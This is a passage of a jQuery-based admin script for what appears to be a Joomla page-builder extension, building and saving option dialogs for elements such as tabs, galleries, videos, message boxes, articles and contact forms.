				//jQuery('#system-message-container').html('<div><button type="button" class="close" data-dismiss="alert">×</button><div class="alert alert-success"><h4 class="alert-heading">Message</h4><p>'+response+'</p></div>');
			}
		});
	});
}
function ajaxbeforesend(){
	var inputs = jQuery("#toolbar").find("input, select, button, textarea");
    inputs.prop("disabled", true);
    jQuery('#st-save-eff .icon-spinner').show();
    jQuery('#st-save-eff .message').hide();
	jQuery('#st-save-eff').show();
	jQuery('.st-design .st-items,.st-design .st-desi').css({opacity:0.6});
}

function ajaxsuccess(response){
	var inputs = jQuery("#toolbar").find("input, select, button, textarea");
    inputs.prop("disabled", false);
    jQuery('#st-save-eff .icon-spinner').hide();
    jQuery('#st-save-eff .message').fadeIn(200);
    var wait = window.setTimeout( function(){
	    	jQuery('#st-save-eff').fadeOut(400);
	    	jQuery('.st-design .st-items,.st-design .st-desi').css({opacity:1});
		},1000
	);
}

////////////////////////////////  Item //////////////////////////////////////


// get Portfolio Option
function getPortfolioOption(data){
	content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> Portfolio<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-portfolio'>";
		content+="<label>Category:</label>";
		content+="<div class='row-fluid st-category'></div>";
		content+="<label>Columns:</label>";
		content+="<div class='row-fluid'><div class='st-column st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-column" value="2" checked="checked">2 Columns</label>';
			content+='<label class="radio inline"><input type="radio" name="st-column" value="3">3 Columns</label>';
			content+='<label class="radio inline"><input type="radio" name="st-column" value="4">4 Columns</label><br>';
			content+='<label class="radio inline"><input type="radio" name="st-column" value="5">Masonry</label>';
		content+="</div></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('#st-navigation .st-column [value="'+((data.attr.column!=null)?data.attr.column:"2")+'"]').prop("checked",true);
	jQuery('#st-navigation .btn-primary.btn-save').click(function(){
		savePortfolio(data);
	});
}

function savePortfolio(data){
	data.attr.id = jQuery('#st-navigation .st-category select').val();
	data.attr.column = jQuery('#st-navigation .st-column [name="st-column"]:checked').val();
	jQuery('#st-page li.st-focus').attr("data",encodeURIComponent(JSON.stringify(data)));
	jQuery.stbox.close();
}
// End Portfolio

// Get Option Tabs
function getTabsOption(data){
	content ="<div class='st-nav-title'><i class='icon-box'></i> Tabs<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Position:</label>";
		content+="<div class='row-fluid'><select class='st-tabposition'>";
			content+='<option value="style1">Style 1</option>';
			content+='<option value="style2">Style2</option>';
			content+='<option value="accordion">Accordion</option>';
		content+="</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-tabposition [value="'+data.attr.position+'"]').attr("selected","selected");
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveTabs(data);
	});
}

function saveTabs(data){
	data.attr.position=jQuery('.st-nav-option .st-tabposition').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

function AddTab(item){
	data = jQuery.parseJSON(decodeURIComponent(jQuery(item).attr("data")));
	var id = makeid();
	content ='<div class="st-tabitems">';
		content+='<ul class="nav nav-tabs" id="myTab-'+id+'">';
		for(i=0;i<data.content.length;i++){
			content+='<li '+((i==0)?'class="active"':'')+'><a class="st-tab" href="#'+id+'-'+i+'" index="'+i+'">';
				content+='<span class="tabname">'+data.content[i].attr.title+'</span>';
				content+='<input index="'+i+'" class="input-edittab" type="text" id="myTab-input-'+id+'-'+i+'" value="'+data.content[i].attr.title+'" />';
				content+='<i class="icon-cancel-circle" title="close" index="#'+id+'-'+i+'"></i>';
			content+='</a></li>';
		}
			content+='<li><a class="newtab" href="#"><i class=" icon-plus"></i></a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
		for(i=0;i<data.content.length;i++){
			content+='<div class="tab-pane '+((i==0)?'active':'')+'" id="'+id+'-'+i+'"><ul class="sortable sortable-tabitem"></ul></div>';
		}
		content+='</div>';
	content+='</div>';
	jQuery(item).append(content);
	jQuery('#myTab-'+id+' a.newtab').click(function (e) {
		var len = jQuery(this).parent().parent().find('>li').length - 1;
		jQuery(this).parent().before('<li class=""><a class="st-tab" href="#'+id+'-'+len+'"><span class="tabname">New Tab</span><input class="input-edittab" type="text" id="myTab-input-'+id+'-'+len+'" value="New Tab" /><i class="icon-cancel-circle" title="close" index="#'+id+'-'+len+'"></i></a></li>');
		jQuery(this).parent().parent().parent().find('.tab-content').append('<div class="tab-pane " id="'+id+'-'+len+'"><ul class="sortable sortable-tabitem ui-sortable"></ul></div>');
		addEventTab(id);
		jQuery('#st-page #myTab-'+id+' .input-edittab').hide();
		return false;
	});
	jQuery('#st-page #myTab-'+id+' .input-edittab').hide();
	addEventTab(id);
}

function addEventTab(id){
	duplicateItem();
	buttonNewtab();
	jQuery('#myTab-'+id+' a.st-tab').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#myTab-'+id+' a.st-tab').dblclick(function(){
		jQuery(this).find('.tabname').hide();
		jQuery(this).find('.input-edittab').show();
		addEventIputTab(jQuery(this),jQuery('#myTab-'+id).parent().parent());
	});
	jQuery('#myTab-'+id+' a.st-tab .icon-cancel-circle').click(function(){
		var sele = jQuery(this).attr('index');
		var count = jQuery(this).parent().parent().parent().find('>li').length;
		if(count==2){
			alert('Keep minimum 1 tab');
			return false;
		}else{
			jQuery(sele).remove();
			jQuery(this).parent().parent().remove();
			return false;
		}
	});
	addsort();
}

function buttonNewtab(){
	jQuery('[id*="myTab"] a.newtab').unbind('click');
	jQuery('[id*="myTab"] a.newtab').click(function (e) {
		var array = jQuery(this).parent().prev().find('.input-edittab').attr('id').split("-");
		console.log(array);
		array[3]=(array[3]+1);
		console.log(array);
		jQuery(this).parent().before('<li class=""><a class="st-tab" href="#'+array[2]+'-'+array[3]+'"><span class="tabname">New Tab</span><input class="input-edittab" type="text" id="myTab-input-'+array[2]+'-'+array[3]+'" value="New Tab" /><i class="icon-cancel-circle" title="close" index="#'+array[2]+'-'+array[3]+'"></a></li>');
		jQuery(this).parent().parent().parent().find('.tab-content').append('<div class="tab-pane " id="'+array[2]+'-'+array[3]+'"><ul class="sortable sortable-tabitem ui-sortable"></ul></div>');
		addEventTab(array[2]);
		jQuery('#st-page #myTab-'+array[2]+' .input-edittab').hide();
		return false;
	});
}

function addEventIputTab(ele,pare){
	ele.find('.input-edittab').focus().keyup(function(e){
		if(e.which==13){
			var data = jQuery.parseJSON(decodeURIComponent(pare.attr('data')));
			var title = ele.find('.input-edittab').val();
			var index = ele.attr('index');
			ele.find('.tabname').text(title).show();
			ele.find('.input-edittab').hide();
			data.content[index].attr.title = title;
		}else if(e.which==27){
			ele.find('.tabname').show();
			ele.find('.input-edittab').val(ele.find('.tabname').text()).hide();
		}
	}).blur(function(){
		var data = jQuery.parseJSON(decodeURIComponent(pare.attr('data')));
		var title = ele.find('.input-edittab').val();
		var index = ele.attr('index');
		ele.find('.tabname').text(title).show();
		ele.find('.input-edittab').hide();
		data.content[index].attr.title = title;
	});
}

function saveTabOption(sele,data){
	data.content=[];
	sele.find('.sortable-tabitem').each(function(index){
		var title = jQuery(jQuery(this).closest('.tab-content').parent().find('.nav-tabs li')[index]).find('a').text();
		var a = [];
		jQuery(this).find('>li').each(function(){
			a.push(jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data"))));
		});
		var item = {"attr":{"title":title},"content":a,"type":"tabst_item_desi"};
		data.content.push(item);
	});
	return encodeURIComponent(JSON.stringify(data));
}

function TabsDesign(sele,data){
	jQuery(sele).find('.sortable-tabitem').each(function(index){
		for(i=0;i<data[index].content.length;i++){
			var html="";
			html+="<li data-type='"+arrayType[data[index].content[i].type].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].type].class+"' style='display:block;' data='"+encodeURIComponent(JSON.stringify(data[index].content[i]))+"'>";
				html+="<div class='st-header-title'>";
					html+="<span class='st-name'>"+arrayType[data[index].content[i].type].name+"</span> ";
					html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
					html+="<span href='#st-navigation' data-type='"+arrayType[data[index].content[i].type].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
					html+='<span href="#" class="st-duplicate" title="Duplicate"><i class="icon-copy"></i></span>';
				html+="</div>";
			html+="</li>";
			jQuery(this).append(html);
		}
	});
}
//End Tab Option

// Get Option HTML
function getHtmlOption(data){
	content ="<div class='st-nav-title'><i class='icon-code'></i> HTML<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12 st-editor'>";
				content+="<iframe class='if-editor' src='index.php?option=com_stpagebuilder&task=page.getEditor&tmpl=component' width='100%' height='370'></iframe>";
			content+="</div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-html'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('#st-navigation .if-editor').load(function(){
		setDataEditor(data.content);
		jQuery('#st-navigation iframe').contents().find('.mce_editable').css('width', '98%');
	});
	jQuery('.st-nav-option button.btn-primary.btn-html').click(function(){
		saveHtml();
	});
}

function setDataEditor(ct){
	window.setTimeout(function(){
		jQuery('#st-navigation iframe').contents().find('iframe').contents().find('body').html(decodeURIComponent(ct));
	},300);
}
function saveHtml(){
	var html = encodeURIComponent(jQuery('#st-navigation iframe').contents().find('iframe').contents().find('body').html());

	var json = encodeURIComponent(JSON.stringify({"type":"html_desi","content":html,"attr":{}}));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

// End Option HMTL

// Get Option Module
function getModuleOption(data){
	content ="<div class='st-nav-title'><i class='icon-qrcode-2'></i> Module<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-module'>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12'>";
				content+="<label>Choose:</label>";
				content+="<div class='st-listmodule'></div>";
			content+="</div>";
		content+="</div>";
		content+="<label>Show title:</label>";
		content+="<div class='row-fluid'><div class='st-showtitle st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-title" value="0" checked="checked">No</label>';
			content+='<label class="radio inline"><input type="radio" name="st-title" value="1">Yes</label>';
		content+="</div></div>";
		content+="<label>Module Class Suffix:</label>";
		content+="<div class='row-fluid'><input type='text' class='st-moduleclass span12' value='"+((data.attr.moduleclass==null)?"":data.attr.moduleclass)+"'></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	if(typeof data.attr.showtitle !='undefined'){
		jQuery('#st-navigation .st-showtitle [value="'+data.attr.showtitle+'"]').prop('checked', true);
	}
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveModule();
	});
}

function saveModule(){
	var title = jQuery('#st-navigation #jform_modules option:selected').text();
	jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
	jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
	// validate
	if(jQuery('#st-navigation #jform_modules').val()==0){
		alert('Please select a module !');
		return false;
	}
	if(testspecialclass(jQuery('#st-navigation .st-moduleclass').val())){
		data = {"type":"moduleid_desi","content":"","attr":{"id":jQuery('.st-nav-option #jform_modules').val(),"title":title}};
		data.attr.showtitle=jQuery('#st-navigation .st-showtitle [type="radio"]:checked').val();
		data.attr.moduleclass = jQuery('#st-navigation .st-moduleclass').val();
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
	}else{
		alert('No special characters allowed.');
		return false;
	}
}

// End Option Module

// get Option Gallery
function getGalleryOption(data){
	content ="<div class='st-nav-title'><i class='icon-images'></i> Gallery<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		//Create Tab
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#getconfig"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			// Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
						content+='<strong>Path:</strong><input type="text" class="st-path" value="images/temp" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage">';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="getconfig">';
				content+='<label>id:</label>';
				content+='<div class="row-fluid"><input class="span6 st-galleryid" type="text" value="'+(data.attr.id==null)?'':data.attr.id+'" /></div>';
				content+='<label>Class:</label>';
				content+='<div class="row-fluid"><input class="span6 st-galleryclass" type="text" value="'+(data.attr.class==null)?'':data.attr.id+'" /></div>';
			content+='</div>';
		content+='</div>';

		//End Tab
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveGallery();
	});
}

function saveGallery(){
	data = {"type":"gallery_desi","content":[],"attr":{}};
	data.attr.id=jQuery('#st-navigation .st-galleryid').val();
	data.attr.class=jQuery('#st-navigation .st-galleryclass');
	var link = "";
	jQuery('#st-navigation #sortImage li').each(function(index){
		var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":""}};
		data.content.push(arr);
	});
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End Gallery Option

// get Option Vimeo
function getVimeoOption(data){
	content ="<div class='st-nav-title'><i class='icon-vimeo'></i> Vimeo<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Vimeo Link:</label>";
		content+="<div class='row-fluid'><input type='text' class='st-linkvideo span12' value='"+data.content+"' placeholder='Enter the vimeo link'></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveVimeo();
	});
}

function saveVimeo(){
	var link = jQuery('.st-navigation .st-nav-option .st-linkvideo').val();
	if(testEmpty(jQuery('.st-navigation .st-nav-option .st-linkvideo'))){
		alert('Please input your Vimeo link!');
		return false;
	}else{
		
		data = {"type":"vimeo_desi","content":"","attr":{}};
		data.content=link;
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
	}
}
//  End Vimeo Option

// get Option Youtube
function getYoutubeOption(data){
	content ="<div class='st-nav-title'><i class='icon-youtube'></i> Youtube<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
			content+="<label>Youtube Link:</label>";
			content+="<div class='row-fluid'><input type='text' class='st-linkvideo span12' value='"+data.content+"' placeholder='Enter the youtube link'></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveYoutube();
	});
}

function saveYoutube(){
	var link = jQuery('.st-navigation .st-nav-option .st-linkvideo').val();
	if(testEmpty(jQuery('.st-navigation .st-nav-option .st-linkvideo'))){
		alert('Please input your Youtube link!');
		return false;
	}else{
		data = {"type":"youtube_desi","content":"","attr":{}};
		data.content=link;
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
	}
}
//  End Youtube Option

// get Option Message Box
function getMessageBoxOption(data){
	content ="<div class='st-nav-title'><i class='icon-exclamation-sign'></i> Message Box<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<div class='row-fluid'>";
			content+="<label>Message Type:</label>";
			content+="<div class='row-fluid'><select class='st-type span12'>";
			content+='<option value="0">---- Select a type-----</option>';
			content+='<option value="warning">Warning</option>';
			content+='<option value="info">Info</option>';
			content+='<option value="error">Error</option>';
			content+='<option value="success">Success</option>';
			content+="</select><div>";
			content+="<label>Message Title: </label>";
			content+="<div class='row-fluid'>";
				content+="<input type='text' class='st-title_alert span12' placeholder='Input your title here' value='"+decodeURIComponent(data.attr.title)+"' />";
			content+="</div>";
			content+="<label>Message:</label>";
			content+="<div class='row-fluid'><textarea rows='6' class='st-content_alert span12'>";
			     content+=decodeURIComponent(data.content);
			content+="</textarea></div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-type [value="'+data.attr.type+'"]').attr("selected","selected");
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		if(testEmpty(jQuery('#st-navigation .st-content_alert'))){
			alert('The Message must be not empty!');
			jQuery('#st-navigation .st-content_alert').focus();
		}else{
			saveMessageBox();
		}
	});
}

function saveMessageBox(){
	var type_alert = jQuery('.st-navigation .st-nav-option .st-type').val();
	var title_alert = encodeURIComponent(convertHTML(jQuery('.st-navigation .st-nav-option .st-title_alert').val()));
	var content_alert = encodeURIComponent(convertHTML(jQuery('.st-navigation .st-nav-option .st-content_alert').val()));
	if(type_alert==0){
		alert('Please select a type !');
		return false;
	}
	data = {"type":"alert_desi","content":content_alert,"attr":{"type":type_alert,"title":title_alert}};
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End Message Box Option

////////////////////////////////  Article Recent //////////////////////////////////////

// get Option Article Recent
function getArticleRecentOption(data){
	content ="<div class='st-nav-title'><i class='icon-newspaper'></i> Article Recent<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Select category:</label>";
		content+="<div class='row-fluid st-category'></div>";
		content+="<label>Style:</label>";
        content+="<div class='row-fluid'><select class='st-style span12'>"; 
		content+='<option value="style-1">style-1</option>';
		content+='<option value="style-2">style-2</option>';
		content+="</select></div>";

		content+="<label>ID:</label>";
		content+="<div class='row-fluid'><input type='text' value='"+((data.attr.id_ar!=null)?data.attr.id_ar:"")+"' class='st-id span12' /></div>";

		content+="<label>Class:</label>";
		content+="<div class='row-fluid'><input type='text' value='"+((data.attr.class!=null)?data.attr.class:"")+"' class='st-class span12' /></div>";

		content+="<div class='st-isVisble'><label>Title Article recent:</label>";
		content+="<div class='row-fluid'><input type='text' value='"+data.attr.title+"' class='st-title_article span12' /></div>";
		content+="<label>Content Intro:</label>";
        content+="<div class='row-fluid'><textarea rows='6' class='st-content_article span12'>";
			content+=decodeURIComponent(data.content);
        content+="</textarea></div></div>";
		
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	
	jQuery('.st-navigation .st-style option[value="'+data.attr.style+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-type input[value="'+data.attr.type+'"]').attr("checked","checked");
	//console.log(data.attr.type);

	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveArticleRecent();
	});
}

function saveArticleRecent(){
	var title_article = jQuery('.st-navigation .st-nav-option .st-title_article').val();
	var content = encodeURIComponent(jQuery('.st-navigation .st-nav-option .st-content_article').val());
	var category_id = jQuery('.st-navigation .st-category select').val();
	var classarticle = jQuery('.st-navigation .st-class').val();
	var idarticle = jQuery('.st-navigation .st-id').val();
	data = {"type":"recent_article_desi","content":content,"attr":{"title":title_article,"category_id":category_id,"class":classarticle,"id_ar":idarticle}};
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}	

//get option Article box
function getArticleBoxOption(data){
	content ="<div class='st-nav-title'><i class='icon-frame'></i> Article Box<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Select Article from:</label>";
		content+=
			"<div class='row-fluid'><select class='st-extension span12'>" + 
				"<option value='com_k2'>com_k2</option><option value='com_content'>com_content</option>" + 
			"</select></div>";
		content+="<label>Articles:</label>";
		content+="<div class='row-fluid st-article'></div>";
		content+="<label>Type:</label>";
		content+=
			"<div class='row-fluid'><select class='st-type span12'>" + 
			  "<option value='outside'>Outside</option>" + 
			  "<option value='inside' selected='selected'>Inside</option>" + 
			"</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-extension option[value="'+data.attr.extension+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-type option[value="'+data.attr.type+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-extension').change(function(){
		if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
			jQuery('.st-navigation #st-element-contents').appendTo("#st-element");
			jQuery('#st-element #st-element-k2contents').appendTo(".st-navigation .st-article");
		}else{
			jQuery('.st-navigation #st-element-k2contents').appendTo("#st-element");
			jQuery('#st-element #st-element-contents').appendTo(".st-navigation .st-article");
		}
	});

	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveArticleBox();
	});
}

function saveArticleBox(){
	var extension = jQuery('.st-navigation .st-nav-option .st-extension').val();
	var article = jQuery('.st-navigation .st-nav-option .st-article select').val();
	var type = jQuery('.st-navigation .st-nav-option .st-type').val();
	data = {"type":"article_box_desi","content":"","attr":{"extension":extension,"article_id":article,"type":type}};
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//End Article box

//Get Option Divider
function getDividerOption(data){
	content ="<div class='st-nav-title'><i class='icon-minus-2'></i> Divider<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Style:</label>";
		content+="<div class='row-fluid'><select class='st-style span12'>"; 
			content+='<option value="none">None</option>';
			content+='<option value="border">Border</option>';
		content+="</select></div>";
		content+="<label>Margin:</label>";
		content+="<div class='row-fluid'><input type='text' class='st-margin span12' value='"+data.attr.margin+"' placeholder='Margin'><div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-style option[value="'+data.attr.style+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-margin').val(data.attr.margin);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveDivider();
	});
}

function saveDivider(){
	var style = jQuery('.st-navigation .st-style').val();
	var margin = jQuery('.st-navigation .st-margin').val();
	if(testNumber(margin)){
		data = {"type":"divider_desi","content":" ","attr":{"style":style,"margin":margin}};
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
	}else{
		alert('Margin must be number format.');
		return false;
	}
}

//End Divider

// get Option flickr
function getFlickrOption(data){
    content ="<div class='st-nav-title'><i class='icon-flickr'></i> Flickr<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option'>";
        content+="<label>Id Images flickr - link:</label>";
        content+="<div class='row-fluid'><input type='text' class='st-linkid span12' value='"+data.attr.id+"' placeholder='Link id image'></div>";

        content+="<label>Limit:</label>";
        content+="<div class='row-fluid'><input type='text' class='limit span12' value='"+data.attr.limit+"' placeholder='limit'></div>";
     
        content+="<label>Image Width:</label>";
        content+="<div class='row-fluid'><input type='text' class='st-widthimage span12' value='"+data.attr.width+"' placeholder='Width'></div>";              
          
        content+="<label>Image Height:</label>";
        content+="<div class='row-fluid'><input type='text' class='st-heightimgae span12' value='"+data.attr.height+"' placeholder='Height'></div>";              
       
        content+="<div class='st-button-group'>";
        content+="<button class='btn btn-primary btn-save'>Save</button>";
        content+="<button class='btn btn-cancel'>Cancel</button>";
        content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
        saveFlickr();
    });
}

function saveFlickr(){
    data = {"type":"flickr_desi","content":"","attr":{}};
    data.attr.width=jQuery('.st-navigation .st-nav-option .st-widthimage').val();
    data.attr.height=jQuery('.st-navigation .st-nav-option .st-heightimgae').val();
    data.attr.id=jQuery('.st-navigation .st-nav-option .st-linkid').val();
    data.attr.limit=jQuery('.st-navigation .st-nav-option .limit').val();
    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);
    jQuery.stbox.close();
}

//End Flickr

// get Option Contact Form 
function getContactOption(data){
	content ="<div class='st-nav-title'><i class='icon-mail-6'></i> Contact Form<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option'>";
        content+="<label>Email:</label>";
        content+="<div class='row-fluid'><input type='text' class='st-email span12' value='"+((data.attr.email!=null)?data.attr.email:"")+"' placeholder='Email'></div>";

        content+="<label>Subject:</label>";
        content+="<div class='row-fluid'><input type='text' class='st-subject span12' value='"+((data.attr.subject!=null)?data.attr.subject:"")+"' placeholder='Subject'></div>";
     
        content+="<label>Thank You Message:</label>";
        content+="<div class='row-fluid'><input type='text' class='st-thanks span12' value='"+((data.attr.thanks!=null)?data.attr.thanks:"")+"' placeholder='Thank You Message'></div>";              
        
        content+="<div class='st-button-group'>";
        content+="<button class='btn btn-primary btn-save'>Save</button>";
        content+="<button class='btn btn-cancel'>Cancel</button>";
        content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
        saveContactForm();
    });
}

function saveContactForm(){
	data = {"type":"contact_desi","content":"","attr":{}};
    data.attr.email=jQuery('.st-navigation .st-nav-option .st-email').val();
    data.attr.subject=jQuery('.st-navigation .st-nav-option .st-subject').val();
    data.attr.thanks=jQuery('.st-navigation .st-nav-option .st-thanks').val();
    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);
    jQuery.stbox.close();
}

// End Contact Form 

// get Option like box 
function getFb_likbeboxOption(data){
	content ="<div class='st-nav-title'><i class='icon-facebook-4'></i> Facebook likebox<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Facebook Link:</label>";
		content+="<div class='row-fluid'><input type='text' size='40' class='st-linkpage span12' value='"+data.content+"' placeholder='Link page'></div>";
		content+="<label>Width:</label>";
		content+="<div class='row-fluid'><input type='text' class='st-widthbox span12' value='"+data.attr.width+"' placeholder='Width'></div>";
		content+="<label>Height:</label>";
		content+="<div class='row-fluid'><input type='text' class='st-heightbox span12' value='"+data.attr.height+"' placeholder='Height (default \"auto\")'></div>";
		content+="<label>Show faces:</label>";
		content+="<div class='st-showfaces st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-showfaces" value="true" checked="checked">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-showfaces" value="false">No</label>';
		content+="</div>";
       
        content+="<label>Show header:</label>";
        content+="<div class='st-showheader st-radio'>"; 
